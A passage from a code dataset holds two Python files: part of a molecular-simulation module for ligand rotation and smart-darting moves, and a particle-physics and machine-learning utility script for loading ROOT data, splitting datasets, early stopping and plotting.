context.getState(getPositions=True).getPositions(asNumpy=True)\n\n self.positions = positions[self.atom_indices]\n self.center_of_mass = self.getCenterOfMass(self.positions, self.masses)\n reduced_pos = self.positions - self.center_of_mass\n\n # Define random rotational move on the ligand\n rand_quat = mdtraj.utils.uniform_quaternion()\n rand_rotation_matrix = mdtraj.utils.rotation_matrix_from_quaternion(rand_quat)\n #multiply lig coordinates by rot matrix and add back COM translation from origin\n rot_move = np.dot(reduced_pos, rand_rotation_matrix) * positions.unit + self.center_of_mass\n\n # Update ligand positions in nc_sim\n for index, atomidx in enumerate(self.atom_indices):\n positions[atomidx] = rot_move[index]\n context.setPositions(positions)\n positions = context.getState(getPositions=True).getPositions(asNumpy=True)\n self.positions = positions[self.atom_indices]\n return context\n\n\nclass CombinationMove(Move):\n \"\"\"Move object that allows Move object moves to be performed according to\n the order in move_list.\n To ensure detailed balance, the moves have an equal chance to be performed\n in listed or reverse order.\n\n Parameters\n ----------\n move_list : list of blues.move.Move-like objects\n \"\"\"\n def __init__(self, move_list):\n self.move_list = move_list\n\n def move(self, context):\n \"\"\"Performs the move() functions of the Moves in move_list on\n a context.\n\n Parameters\n ----------\n context: simtk.openmm.Context object\n Context containing the positions to be moved.\n Returns\n -------\n context: simtk.openmm.Context object\n The same input context, but whose positions were changed by this function.\n\n \"\"\"\n rand = np.random.random()\n #to maintain detailed balance this executes both\n #the forward and reverse order moves with equal probability\n if rand > 0.5:\n for single_move in self.move_list:\n single_move.move(context)\n else:\n for single_move in reverse(self.move_list):\n single_move.move(context)\n\n\nclass SmartDartMove(RandomLigandRotationMove):\n \"\"\"\n Move object that allows center of mass smart darting moves to be performed on a ligand,\n allowing translations of a ligand between pre-defined regions in space. The\n `SmartDartMove.move()` method translates the ligand to the locations of the ligand\n found in the coord_files. These locations are defined in terms of the basis_particles.\n These locations are picked with a uniform probability.\n\n Parameters\n ----------\n structure: parmed.Structure\n ParmEd Structure object of the relevant system to be moved.\n basis_particles: list of 3 ints\n Specifies the 3 indices of the protein whose coordinates will be used\n to define a new set of basis vectors.\n coord_files: list of str\n List containing paths to coordinate files of the whole system for smart darting.\n topology: str, optional, default=None\n A path specifying a topology file matching the files in coord_files. Not\n necessary if the coord_files already contain topologies (ex. PDBs).\n dart_radius: simtk.unit float object compatible with simtk.unit.nanometers unit,\n optional, default=0.2*simtk.unit.nanometers\n The radius of the darting region around each dart.\n self_dart: boolean, optional, default='False'\n When performing the center of mass darting in `SmartDartMove.move()`,this\n specifies whether or not to include the darting region where the center\n of mass currently resides as an option to dart to.\n resname : str, optional, default='LIG'\n String specifying the residue name of the ligand.\n\n References:\n (1) I. Andricioaei, J. E. Straub, and A. F. Voter, J. Chem. Phys. 114, 6994 (2001).\n https://doi.org/10.1063/1.1358861\n\n \"\"\"\n def __init__(self, structure, basis_particles, coord_files,\n topology=None, dart_radius=0.2*unit.nanometers,\n self_dart=False, resname='LIG'):\n\n super(SmartDartMove, self).__init__(structure, resname=resname)\n\n if len(coord_files) < 2:\n raise ValueError('You should include at least two files in coord_files '+\n 'in order to benefit from smart darting')\n self.dartboard = []\n self.n_dartboard = []\n self.particle_pairs = []\n self.particle_weights = []\n self.basis_particles = basis_particles\n self.dart_radius = dart_radius\n self.calculateProperties()\n self.self_dart = self_dart\n self.dartsFromParmEd(coord_files, topology)\n\n def dartsFromParmEd(self, coord_files, topology=None):\n \"\"\"\n Used to setup darts from a generic coordinate file, through MDtraj using the basis_particles to define\n new basis vectors, which allows dart centers to remain consistant through a simulation.\n This adds to the self.n_dartboard, which defines the centers used for smart darting.\n\n Parameters\n ---------\n system: simtk.openmm.system\n Openmm System corresponding to the whole system to smart dart.\n coord_files: list of str\n List containing coordinate files of the whole system for smart darting.\n topology: str, optional, default=None\n A path specifying a topology file matching the files in coord_files. Not\n necessary if the coord_files already contain topologies.\n\n \"\"\"\n\n n_dartboard = []\n dartboard = []\n #loop over specified files and generate parmed structures from each\n #then the center of masses of the ligand in each structureare found\n #finally those center of masses are added to the `self.dartboard`s to\n #be used in the actual smart darting move to define darting regions\n for coord_file in coord_files:\n if topology == None:\n #if coord_file contains topology info, just load coord file\n temp_md = parmed.load_file(coord_file)\n else:\n #otherwise load file specified in topology\n temp_md = parmed.load_file(topology, xyz=coord_file)\n #get position values in terms of nanometers\n context_pos = temp_md.positions.in_units_of(unit.nanometers)\n lig_pos = np.asarray(context_pos._value)[self.atom_indices]*unit.nanometers\n particle_pos = np.asarray(context_pos._value)[self.basis_particles]*unit.nanometers\n #calculate center of mass of ligand\n self.calculateProperties()\n center_of_mass = self.getCenterOfMass(lig_pos, self.masses)\n #get particle positions\n new_coord = self._findNewCoord(particle_pos[0], particle_pos[1], particle_pos[2], center_of_mass)\n #old_coord should be equal to com\n old_coord = self._findOldCoord(particle_pos[0], particle_pos[1], particle_pos[2], new_coord)\n np.testing.assert_almost_equal(old_coord._value, center_of_mass._value, decimal=1)\n #add the center of mass in euclidian and new basis set (defined by the basis_particles)\n n_dartboard.append(new_coord)\n dartboard.append(old_coord)\n self.n_dartboard = n_dartboard\n self.dartboard = dartboard\n\n\n def move(self, nc_context):\n \"\"\"\n Function for performing smart darting move with darts that\n depend on particle positions in the system.\n\n Parameters\n ----------\n context: simtk.openmm.Context object\n Context containing the positions to be moved.\n\n Returns\n -------\n context: simtk.openmm.Context object\n The same input context, but whose positions were changed by this function.\n\n \"\"\"\n\n atom_indices = self.atom_indices\n if len(self.n_dartboard) == 0:\n raise ValueError('No darts are specified. Make sure you use ' +\n 'SmartDartMove.dartsFromParmed() before using the move() function')\n context = nc_context\n #get state info from context\n stateinfo = context.getState(True, True, False, True, True, False)\n oldDartPos = stateinfo.getPositions(asNumpy=True)\n #get the ligand positions\n lig_pos = np.asarray(oldDartPos._value)[self.atom_indices]*unit.nanometers\n #updates the darting regions based on the current position of the basis particles\n self._findDart(context)\n #find the ligand's current center of mass position\n center = self.getCenterOfMass(lig_pos, self.masses)\n #calculate the distance of the center of mass to the center of each darting region\n selected_dart, changevec = self._calc_from_center(com=center)\n #selected_dart is the selected darting region\n\n #if the center of mass was within one darting region, move the ligand to another region\n if selected_dart != None:\n newDartPos = np.copy(oldDartPos)\n #find the center of mass in the new darting region\n dart_switch = self._reDart(selected_dart, changevec)\n #find the vector that will translate the ligand to the new darting region\n vecMove = dart_switch - center\n #apply that vector to the ligand to actually translate the coordinates\n for atom in atom_indices:\n newDartPos[atom] = newDartPos[atom] + vecMove._value\n #set the positions after darting\n context.setPositions(newDartPos)\n\n return context\n\n def _calc_from_center(self, com):\n \"\"\"\n Helper function that finds the distance of the current center of\n mass to each dart center in self.dartboard\n\n Parameters\n --------\n com: 1x3 np.array*simtk.unit.nanometers\n Current center of mass coordinates of the ligand.\n Returns\n -------\n selected_dart: simtk.unit.nanometers, or None\n The distance of a dart to a center. Returns\n None if the distance is greater than the darting region.\n changevec: 1x3 np.array*simtk.unit.nanometers,\n The vector from the ligand center of mass\n to the center of a darting region.\n\n \"\"\"\n\n distList = []\n diffList = []\n indexList = []\n #Find the distances of the COM to each dart, appending\n #the results to distList\n for dart in self.dartboard:\n diff = com - dart\n dist = np.sqrt(np.sum((diff)*(diff)))*unit.nanometers\n distList.append(dist)\n diffList.append(diff)\n selected_dart = []\n #Find the dart(s) less than self.dart_radius\n for index, entry in enumerate(distList):\n if entry <= self.dart_radius:\n selected_dart.append(index)\n diff = diffList[index]\n indexList.append(index)\n #Dart error checking\n #to ensure reversibility the COM should only be\n #within self.dart_radius of one dart\n if len(selected_dart) == 1:\n return selected_dart[0], diffList[indexList[0]]\n elif len(selected_dart) == 0:\n return None, diff\n elif len(selected_dart) >= 2:\n #COM should never be within two different darts\n raise ValueError(' The spheres defining two darting regions have overlapped, ' +\n 'which results in potential problems with detailed balance. ' +\n 'We are terminating the simulation. Please check the size and ' +\n 'identity of your darting regions defined by dart_radius.')\n #TODO can treat cases using appropriate probablility correction\n #see https://doi.org/10.1016/j.patcog.2011.02.006\n\n def _findDart(self, nc_context):\n \"\"\"\n Helper function to dynamically update dart positions based on the current positions\n of the basis particles.\n Arguments\n ---------\n nc_context: Context object from simtk.openmm\n Context from the ncmc simulation.\n\n Returns\n -------\n dart_list list of 1x3 np.arrays in units.nm\n new dart positions calculated from the particle_pairs\n and particle_weights.\n\n \"\"\"\n\n basis_particles = self.basis_particles\n #make sure there's an equal number of particle pair lists\n #and particle weight lists\n dart_list = []\n state_info = nc_context.getState(True, True, False, True, True, False)\n temp_pos = state_info.getPositions(asNumpy=True)\n part1 = temp_pos[basis_particles[0]]\n part2 = temp_pos[basis_particles[1]]\n part3 = temp_pos[basis_particles[2]]\n for dart in self.n_dartboard:\n old_center = self._findOldCoord(part1, part2, part3, dart)\n dart_list.append(old_center)\n self.dartboard = dart_list[:]\n return dart_list\n\n def _reDart(self, selected_dart, changevec):\n \"\"\"\n Helper function to choose a random dart and determine the vector\n that would translate the COM to that dart center + changevec.\n This is called reDart in the sense that it helps to switch\n the ligand to another darting region.\n\n Parameters\n ---------\n changevec: 1x3 np.array * simtk.unit.nanometers\n The vector difference of the ligand center of mass\n to the closest dart center (if within the dart region).\n\n\n Returns\n -------\n dart_switch: 1x3 np.array * simtk.unit.nanometers\n\n \"\"\"\n dartindex = list(range(len(self.dartboard)))\n if self.self_dart == False:\n dartindex.pop(selected_dart)\n dartindex = np.random.choice(dartindex)\n dvector = self.dartboard[dartindex]\n dart_switch = dvector + changevec\n return dart_switch\n\n def _changeBasis(self, a, b):\n \"\"\"\n Changes positions of a particle (b) in the regular basis set to\n another basis set (a). Used to recalculate the center of mass\n in terms of the local coordinates defined by self.basis_particles.\n Used to change between the basis sets defined from the basis_particles\n and the normal euclidian basis set.\n\n Parameters\n ----------\n a: 3x3 np.array\n Defines vectors that will create the new basis.\n b: 1x3 np.array\n Defines position of particle to be transformed into\n new basis set.\n Returns\n -------\n changed_coord: 1x3 np.array\n Coordinates of b in new basis.\n\n \"\"\"\n\n ainv = np.linalg.inv(a.T)\n changed_coord = np.dot(ainv,b.T)*unit.nanometers\n return changed_coord\n\n def _undoBasis(self, a, b):\n \"\"\"\n Transforms positions in a transformed basis (b) to the regular\n basis set. Used to transform the dart positions in the local\n coordinate basis set to the cartesian basis set.\n\n Parameters\n ----------\n a: 3x3 np.array\n Defines vectors that defined the new basis.\n b: 1x3 np.array\n Defines position of particle to be transformed into\n regular basis set.\n Returns\n -------\n changed_coord: 1x3 np.array\n Coordinates of b in new basis.\n \"\"\"\n\n a = a.T\n changed_coord = np.dot(a,b.T)*unit.nanometers\n return changed_coord\n\n def _normalize(self, vector):\n \"\"\"Normalize a given vector\n\n Parameters\n ----------\n vector: 1xn np.array\n Vector to be normalized.\n Returns\n -------\n unit_vec: 1xn np.array\n Normalized vector.\n\n \"\"\"\n\n magnitude = np.sqrt(np.sum(vector*vector))\n unit_vec = vector / magnitude\n return unit_vec\n\n def _localCoord(self, particle1, particle2, particle3):\n \"\"\"\n Defines a new coordinate system using 3 particles\n returning the new basis set vectors\n\n Parameters\n ----------\n particle1, particle2, particle3: 1x3 np.array\n np.array corresponding to a given particle's positions\n\n Returns\n -------\n vec1, vec2, vec3: 1x3 np.array\n Basis vectors of the coordinate system defined\n by particles1-3.\n\n \"\"\"\n\n part2 = particle2 - particle1\n part3 = particle3 - particle1\n vec1 = part2\n vec2= part3\n vec3 = np.cross(vec1,vec2)*unit.nanometers\n return vec1, vec2, vec3\n\n def _findNewCoord(self, particle1, particle2, particle3, center):\n \"\"\"\n Finds the coordinates of a given center in the standard basis\n in terms of a new basis defined by particles1-3\n\n Parameters\n ----------\n particle1, particle2, particle3: 1x3 np.array\n np.array corresponding to a given particle's positions\n center: 1x3 np.array * simtk.unit compatible with simtk.unit.nanometers\n Coordinate of the center of mass in the standard basis set.\n\n \"\"\"\n\n #calculate new basis set\n vec1, vec2, vec3 = self._localCoord(particle1, particle2, particle3)\n basis_set = np.zeros((3,3))*unit.nanometers\n basis_set[0] = vec1\n basis_set[1] = vec2\n basis_set[2] = vec3\n #since the origin is centered at particle1 by convention\n #subtract to account for this\n recenter = center - particle1\n #find coordinate in new coordinate system\n new_coord = self._changeBasis(basis_set, recenter)\n return new_coord\n\n def _findOldCoord(self, particle1, particle2, particle3, center):\n \"\"\"\n Finds the coordinates of a given center (defined by a different basis\n given by particles1-3) back in the euclidian coordinates\n\n Parameters\n ----------\n particle1, particle2, particle3: 1x3 np.array\n np.array corresponding to a given particle's positions\n center: 1x3 np.array * simtk.unit compatible with simtk.unit.nanometers\n Coordinate of the center of mass in the non-standard basis set.\n\n \"\"\"\n\n vec1, vec2, vec3 = self._localCoord(particle1, particle2, particle3)\n basis_set = np.zeros((3,3))*unit.nanometers\n basis_set[0] = vec1\n basis_set[1] = vec2\n basis_set[2] = vec3\n #since the origin is centered at particle1 by convention\n #subtract to account for this\n old_coord = self._undoBasis(basis_set, center)\n adjusted_center = old_coord + particle1\n return adjusted_center\n","sub_path":"blues/moves.py","file_name":"moves.py","file_ext":"py","file_size_in_byte":24561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"159858264","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 30 09:40:21 2018\n\n@author: michelsen\n\"\"\"\n\n# to ignore deprecation warnings:\nimport warnings\nwarnings.filterwarnings(\"ignore\", message=\"numpy.dtype size changed\")\nwarnings.filterwarnings(\"ignore\", message=\"numpy.ufunc size changed\")\nwarnings.filterwarnings(module='sklearn*', action='ignore', category=DeprecationWarning)\n\nimport numpy as np\nimport scipy as sp\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom iminuit import Minuit\nfrom iminuit.util import make_func_code\nimport uproot\nfrom os import path\nimport os\nimport h5py\nfrom collections import OrderedDict\n\n\n\n\n#%%\n\nsns.set()\nsns.set(palette='Set1')\n\ncurrent_palette = sns.color_palette(\"Set1\", n_colors=9)\ncolor_dict = {}\n# colors = 'blue', 'orange', 'green', 'red', 'purple', 'brown', 'pink', 'grey', 'lime', 'cyan'\ncolors = ['red', 'blue', 'green', 'purple', 'orange', 'yellow', 'brown', 'pink', 'grey']\n\nfor i, color in enumerate(colors):\n color_dict[color] = current_palette[i]\ncolor_dict['black'] = color_dict['k'] = (0, 0, 0)\n\n\n#%%\n\nimport multiprocessing\n\ndef is_this_hep(local_cores=8):\n num_cores = multiprocessing.cpu_count()\n if num_cores > local_cores:\n is_hep = True\n else:\n is_hep = False\n return is_hep\n\n\nfrom os.path import exists\ndef do_load_filename(filename, force_rerun=False):\n if not exists(filename) or force_rerun:\n return False\n else:\n return True\n\n\n\nimport time\nfrom humanfriendly import format_timespan\n \nclass MyTimer():\n \n def __init__(self, string, num_cores=0):\n self.string = string\n self.num_cores = num_cores\n \n def __enter__(self):\n self.start = time.time()\n return self\n \n def __exit__(self, exc_type, exc_val, exc_tb):\n self.end = time.time()\n self.runtime = self.end - self.start\n self.msg = f'{self.string} took {format_timespan(self.runtime)} to complete'\n if self.num_cores > 0:\n self.msg += f' using {self.num_cores} cores'\n print('\\n'+self.msg+'\\n')\n\n\n\n\ndef print_headline(string, L_max=70, start=\"\\n\", end=\"\\n\", delim=\"-\"):\n len_str = len(string)\n N = (L_max - len_str) // (2*len(delim))\n s = N*delim + \" \" + string + \" \" + N*delim\n if len(s)%2==1: \n s += delim\n Ls = len(s)\n print(start + delim* (Ls // len(delim)))\n print(s)\n print(delim* (Ls // len(delim)) + end)\n\n\n\n\n#%%\n\ndef mem_usage(pandas_obj):\n \"\"\"\n prints memory usage of pandas object\n \"\"\"\n if isinstance(pandas_obj, pd.DataFrame):\n usage_b = pandas_obj.memory_usage(deep=True).sum()\n else: # we assume if not a df it's a series\n usage_b = pandas_obj.memory_usage(deep=True)\n usage_mb = usage_b / 1024 ** 2 # convert bytes to megabytes\n return \"{:03.2f} MB\".format(usage_mb)\n\n\ndef load_data_file(filename, treename, branches_to_import=None, \n verbose=False, save_type='pickle', compression=False):\n \n if any(save_type.lower() == string for string in ['hdf5', 'h5', 'h5py']):\n file_ext = \".gzh5\" if compression else \".h5\"\n filename_h5 = filename.replace('.root', f'{treename}{file_ext}')\n if path.isfile(filename_h5):\n df = load_df_from_hdf(filename_h5, compression=compression)\n else:\n df = load_root_file(filename, treename, branches_to_import, verbose)\n save_hdf(df, filename_h5, compression=compression)\n return df\n \n else: \n if not save_type.lower() == 'pickle':\n print(\"save_type is not 'pickle', but still defaults to this\")\n filename_pickle = filename.replace('.root', f'{treename}.pkl')\n if path.isfile(filename_pickle):\n df = pd.read_pickle(filename_pickle)\n else:\n df = load_root_file(filename, treename, branches_to_import, verbose)\n df.to_pickle(filename_pickle)\n return df\n \n \n\ndef save_hdf(df, filename, compression=False):\n \"\"\" Saves a pandas DataFrame as filename .h5.\"\"\"\n \n if path.isfile(filename): \n os.remove(filename)\n \n with h5py.File(filename) as h5:\n h5.create_dataset(filename, data=df.to_records(index=False), \n compression=('gzip' if compression else None))\n return None\n\n\ndef load_df_from_hdf(filename, compression=False):\n \"\"\" Load pandas DataFrame from .h5 storage.\"\"\"\n\n with h5py.File(filename, 'r') as h5:\n df = pd.DataFrame(h5[filename][:])\n\n df.reset_index(drop=True, inplace=True)\n return df\n\n\ndef load_root_file(filename, treename, branches_to_import=None, verbose=False):\n root_object = uproot.open(filename)[treename]\n data_dict = root_object.arrays(branches_to_import)\n data_dict = { key.decode(): val for key, val in data_dict.items() } # decodes byte strings\n \n df = pd.DataFrame(data=data_dict)\n \n print(\"\\nMemory-optimizes the dataframe, please wait.\\n\")\n \n # integer columns:\n int_cols = ['evtn', 'flevt', 'njet', 'qmatch', 'datatype']\n for col in int_cols:\n df.loc[:, col] = df.loc[:, col].astype('int')\n \n # integer dtypes\n df_int = df.select_dtypes(include=['int'])\n converted_int = df_int.apply(pd.to_numeric, downcast='signed')\n \n # floats dtypes\n df_float = df.select_dtypes(include=['float32'])\n converted_float = df_float.apply(pd.to_numeric, downcast='float')\n \n # combined floats and ints\n optimized_df = df.copy()\n optimized_df[converted_int.columns] = converted_int\n optimized_df[converted_float.columns] = converted_float\n \n if verbose:\n \n # initial overview of dataframe and memory usage\n print(\"\")\n print(data_dict.keys())\n print(\"\\nDataframe loaded with dimension: \", df.shape)\n print(df.info(memory_usage='deep'))\n print(\"\")\n \n \n print(\"\\nintegers, before and after\")\n print(mem_usage(df_int))\n print(mem_usage(converted_int))\n compare_ints = pd.concat([df_int.dtypes,converted_int.dtypes],axis=1)\n compare_ints.columns = ['before','after']\n print(compare_ints.apply(pd.Series.value_counts))\n print(\"\")\n \n # floats dtypes \n print(\"floats, before and after\")\n print(mem_usage(df_float))\n print(mem_usage(converted_float))\n compare_floats = pd.concat([df_float.dtypes,converted_float.dtypes],axis=1)\n compare_floats.columns = ['before','after']\n print(compare_floats.apply(pd.Series.value_counts))\n print(\"\")\n \n # combined floats and ints\n print(\"optimized dataframe\")\n print(mem_usage(df))\n print(mem_usage(optimized_df))\n print(\"\")\n \n return optimized_df\n\n\n#%%\n \ndef check_all_equal(a):\n \"\"\" Small function that checks if all elements of an array are equal \"\"\"\n return np.min(a) == np.max(a)\n\n\ndef check_qmatch_1_2_0(a):\n \"\"\" Small function that checks if the array a contains one of 0, 1, and 2\"\"\"\n return all([sum(a==i) == 1 for i in range(3)]) \n\n\ndef from_df_to_array(df, column):\n \"\"\" Takes df as input and then converts it into a 2D-array with \n a width of njet based on the mode of the njet column in the df \n \"\"\"\n \n # automatically find the njet number by using the mode\n njet = sp.stats.mode(df.njet).mode[0]\n \n # take the 1D-array and split it into a 2D-array of width njet\n L = [df[column].values[i::njet] for i in range(njet)]\n array = np.vstack(L).T\n return njet, array\n\n\ndef check_event_numbers_are_matching(df): \n \"\"\" check that the two or three jets share same event number \"\"\"\n \n njet, array_evtn = from_df_to_array(df, 'evtn')\n \n all_truth = (np.diff(array_evtn, axis=1) == 0).all()\n\n if not all_truth:\n raise ValueError(f\"Event number doesn't match in {njet}-jet events\")\n \n # if njet == 2:\n # a = df.evtn.values[0::2]\n # b = df.evtn.values[1::2]\n # N_ab = sum(a==b)\n # if not (N_ab == len(a) and N_ab == len(b)):\n # raise ValueError(\"Error, event number doesn't match in 2 jet events\")\n\n\ndef check_qmatch_are_correct(df): \n \"\"\" check that three jets r \"\"\"\n \n njet, array_qmatch = from_df_to_array(df, 'qmatch')\n \n all_truth = np.apply_along_axis(check_qmatch_1_2_0, 1, array_qmatch).all()\n\n if not all_truth:\n raise ValueError(f\"qmatch does not match for {njet}-jet events\")\n \n\n\n\n \nclass IllegalArgumentError(ValueError):\n pass\n\n\ndef train_test_split_non_random(X, y, test_size=0.2, train_size=None):\n \"\"\" Splits X,y into training and test set by taking the first p fraction\n and define that as training and the last 1-p fraction as test set.\n I.e. not a randomly taken subset.\n Takes either test_size or train_size as input.\n \"\"\"\n \n \n if (test_size is None and train_size is None) or (\n test_size is not None and train_size is not None):\n e_str = 'Either test_size or train_size must be set, exclusively'\n raise IllegalArgumentError(e_str)\n \n N = len(y)\n N_train = int(N*(1-test_size)) if test_size is not None else int(N*train_size)\n \n X_train = X.iloc[:N_train]\n X_test = X.iloc[N_train:]\n y_train = y.iloc[:N_train]\n y_test = y.iloc[N_train:]\n \n return X_train, X_test, y_train, y_test\n\n\n\n\ndef train_test_index(X, test_size=0.2, train_size=None, random_split=False):\n \"\"\" \n \n if random_split:\n \n Returns the randomly taken subset of data\n \n else:\n \n Splits X,y into training and test set by taking the first p fraction\n and define that as training and the last 1-p fraction as test set.\n I.e. not a randomly taken subset.\n Takes either test_size or train_size as input.\n \n \"\"\"\n \n \n if random_split:\n \n frac = 1-test_size if test_size is not None else train_size\n index_train = X.sample(frac=frac).index\n \n return index_train.sort_values(), X.index.difference(index_train).sort_values()\n \n \n else:\n \n if (test_size is None and train_size is None) or (\n test_size is not None and train_size is not None):\n e_str = 'Either test_size or train_size must be set, exclusively'\n raise IllegalArgumentError(e_str)\n \n N = len(X)\n frac = 1-test_size if test_size is not None else train_size\n N_train = int(N*frac)\n \n X_train = X.iloc[:N_train]\n X_test = X.iloc[N_train:]\n \n return X_train.index, X_test.index\n\n\n\n#%%\n \ndef plot_histogram_lin_log(data, ax, Nbins, \n title=None, \n xlabel=None,\n xlim=None\n ):\n\n if not xlabel is None:\n ax.set_xlabel(xlabel)\n if not title is None:\n ax.set_title(title)\n if not xlim is None:\n ax.set_xlim(xlim)\n \n ax.hist(data, Nbins, histtype='step', color=color_dict['blue']) # range=(None, None)\n ax.set_ylabel('Counts, lin-scale', color=color_dict['blue'])\n ax.tick_params('y', colors=color_dict['blue'])\n \n ax2 = ax.twinx()\n ax2.hist(data, Nbins, histtype='step', log=True, color=color_dict['red']) # range=(None, None)\n ax2.set_ylabel('Counts, log-scale', color=color_dict['red'])\n ax2.tick_params('y', colors=color_dict['red'])\n\n return ax2\n\n\n\n\n#%%%\n \n\nclass CV_EarlyStoppingTrigger:\n \"\"\"\n Applies early stopping to xgb and lgb cv module with \n specified evaluation function. \n Does not cut off last values as the usual early stopping version does.\n \"\"\"\n \n\n def __init__(self, stopping_rounds, string='auc', maximize_score=True, \n method='xgb'):\n \"\"\"\n :int stopping_rounds: Number of rounds to use for early stopping.\n :str string: Name of the evaluation function to apply early stopping to.\n :bool maximize_score: If True, higher metric scores treated as better.\n \"\"\"\n \n self.stopping_rounds = stopping_rounds\n self.string = string\n self.method = method\n self.maximize_score = maximize_score\n \n self.reset_class()\n \n \n def reset_class(self):\n # TODO: implement in HousingPrices\n \n self.best_score = None\n self.best_iteration = 0\n self.iteration = 0\n self.do_reset_class = False\n\n\n def __call__(self, callback_env):\n \n if self.do_reset_class:\n self.reset_class()\n \n evaluation_result_list = callback_env.evaluation_result_list\n # print(evaluation_result_list)\n \n if self.method.lower() == 'xgb':\n names = [self.string, 'test']\n # test score for specific name:\n score = [x[1] for x in evaluation_result_list if \n all(y.lower() in x[0].lower() for y in names)][0]\n elif self.method.lower() == 'lgb':\n names = [self.string]\n # test score for specific name:\n score = [x[2] for x in evaluation_result_list if \n all(y.lower() in x[1].lower() for y in names)][0]\n else:\n raise IllegalArgumentError(\"'Method' has to be either xgb or lgb\")\n \n \n # if first run\n if self.best_score is None:\n self.best_score = score\n \n # if better score than previous, update score\n if (self.maximize_score and score > self.best_score) or \\\n (not self.maximize_score and score < self.best_score):\n self.best_iteration = self.iteration\n self.best_score = score\n \n # trigger EarlyStoppingException from callbacks library\n elif self.iteration - self.best_iteration >= self.stopping_rounds:\n\n self.do_reset_class = True\n \n if self.method.lower() == 'xgb':\n from xgboost.callback import EarlyStopException\n raise EarlyStopException(self.iteration)\n \n elif self.method.lower() == 'lgb':\n from lightgbm.callback import EarlyStopException\n # print('Raising Early stopping exception for lGB')\n # print('')\n raise EarlyStopException(self.iteration, self.best_score)\n \n \n self.iteration += 1\n\n \n\n\n\n#%%\n \n \ndef get_cv_res_string(cv_res, substrings):\n col_names = list(cv_res.columns)\n return cv_res[[name for name in col_names \n if all(x in name for x in substrings)][0]]\n \n\ndef plot_cv_res(cv_res, ax, metrics, method='xgb', n_sigma=1):\n\n if method.lower() == 'xgb':\n str_train = 'train'\n str_test = 'test'\n \n elif method.lower() == 'lgb':\n str_test = ''\n \n\n for metric, color in zip(metrics, ['red', 'blue', 'green']):\n \n # test results\n mean = get_cv_res_string(cv_res, ['mean', str_test, metric])\n std = get_cv_res_string(cv_res, ['std', str_test, metric])\n \n \n ax.plot(cv_res.index, mean, '-', label=metric.capitalize()+', Test',\n color=color_dict[color])\n ax.fill_between(cv_res.index, mean+n_sigma*std, mean-n_sigma*std,\n color=color_dict[color], interpolate=True, alpha=0.1)\n \n if method.lower() == 'xgb':\n # get training results as well\n \n mean = get_cv_res_string(cv_res, ['mean', str_train, metric])\n std = get_cv_res_string(cv_res, ['std', str_train, metric])\n \n ax.plot(cv_res.index, mean, '--', label=metric.capitalize()+', Train',\n color=color_dict[color])\n ax.fill_between(cv_res.index, mean+n_sigma*std, mean-n_sigma*std,\n color=color_dict[color], interpolate=True, alpha=0.1)\n \n \n ax.legend(loc='best')\n ax.set(xlabel='Number of iterations', ylabel='Value')\n \n \n return None\n\n\n\ndef plot_cv_test_results(eval_res, method, metrics, title):\n \n \n if method.lower() == 'xgb':\n train = 'validation_0'\n test = 'validation_1'\n else:\n train = 'train'\n test = 'test'\n \n \n eval_steps = range(len(eval_res[train]['auc']))\n\n fig, ax = plt.subplots(1, 1, sharex=True, figsize=(8, 6))\n \n for metric, color in zip(metrics, ['red', 'blue', 'green']):\n \n ax.plot(eval_steps, eval_res[train][metric], \n color = color_dict[color], ls = '-', \n label = metric.capitalize()+'Train')\n \n ax.plot(eval_steps, eval_res[test][metric], \n color = color_dict[color], ls = '--', \n label = metric.capitalize()+'Test')\n \n ax.legend()\n ax.set(xlabel='Number of iterations', ylabel='AUC', title=title)\n\n return fig, ax\n\n\n\ndef plot_random_search(rs_res, n_fold, title, ylim=(0.928, 0.936)):\n \n fig, ax = plt.subplots(figsize=(14, 8))\n \n ax.errorbar(rs_res.index, \n rs_res['mean_test_score'], \n yerr=rs_res['std_test_score'] / np.sqrt(n_fold),\n fmt='.')\n \n ax.errorbar(rs_res.index[0], \n rs_res['mean_test_score'].iloc[0], \n yerr=rs_res['std_test_score'].iloc[0] / np.sqrt(n_fold),\n fmt='.r', )\n\n ax.set(title=title, xlabel='Iteration #', ylabel='AUC', ylim=ylim)\n\n fig.tight_layout()\n\n return fig, ax\n\n\n#%%\n \nimport pickle\n \ndef save_model(clf, clf_name):\n pickle.dump(clf, open(clf_name, \"wb\"))\n\n\ndef load_model(clf_name):\n return pickle.load(open(clf_name, \"rb\"))\n\n\n#%%\n \n\n\ndef degrees_of_freedom(assumption, N_bins, N_flavors, verbose=False):\n \n if assumption.lower() in ['sym', 'symmetrical']:\n N_obs = N_bins * (N_bins + 1) // 2\n N_vars = 1 * N_flavors * (N_bins - 1) + (N_flavors - 1)\n \n elif assumption.lower() in ['asym', 'asymmetrical']:\n N_obs = N_bins**2\n N_vars = 2 * N_flavors * (N_bins - 1) + (N_flavors - 1)\n \n else:\n raise IllegalArgumentError('\"assumption\" should be either sym or asym')\n \n N_dof = N_obs - N_vars\n \n \n if verbose:\n print(f'N_bins = {N_bins:>3}, \\t N_obs = {N_obs:>3},\\t ' + \n f'N_vars = {N_vars:>3},\\t N_dof = {N_dof:>3}')\n else:\n if N_dof < 0:\n string = ('Not enough degrees of freedom given N_bins, ' \n + 'N_flavor and the given assumption: ' \n +f'N_bins = {N_bins}, N_flavors = {N_flavors}, '\n +f'assumption = {assumption}.'\n )\n raise ValueError(string)\n\n return N_obs, N_vars, N_dof\n\n\n\n#%%\n \n\ndef random_split_in_pairs(nnbjet, seed=42):\n \"\"\" Takes nnbjet array and randomly assigns one part of the pairs to \n either nnbjet_first or nnbjet_second and the other part of the pair\n to the other array. \n \"\"\"\n \n N_pairs = len(nnbjet) // 2\n np.random.seed(seed)\n uniform = np.random.uniform(size=N_pairs) \n\n mask = np.zeros_like(nnbjet, dtype=bool)\n mask[::2] = uniform < 0.5\n mask[1::2] = uniform >= 0.5 \n\n return nnbjet[mask], nnbjet[~mask]\n\ndef bin_edges_to_str(bin_edges):\n return [f'{bin_edges[i]:.2f}-{bin_edges[i+1]:.2f}' for i in range(len(bin_edges)-1)]\n\n\n\ndef nnbjet_to_matrix(nnbjet, bin_edges, df_name):\n \"\"\" Takes nnbjet array as input and returns a count matrix as DataFrame\n \"\"\"\n \n # names for dataframe, otherwise not needed\n names_index_cols = bin_edges_to_str(bin_edges)\n\n nnbjet_first, nnbjet_second = random_split_in_pairs(nnbjet)\n count_matrix = 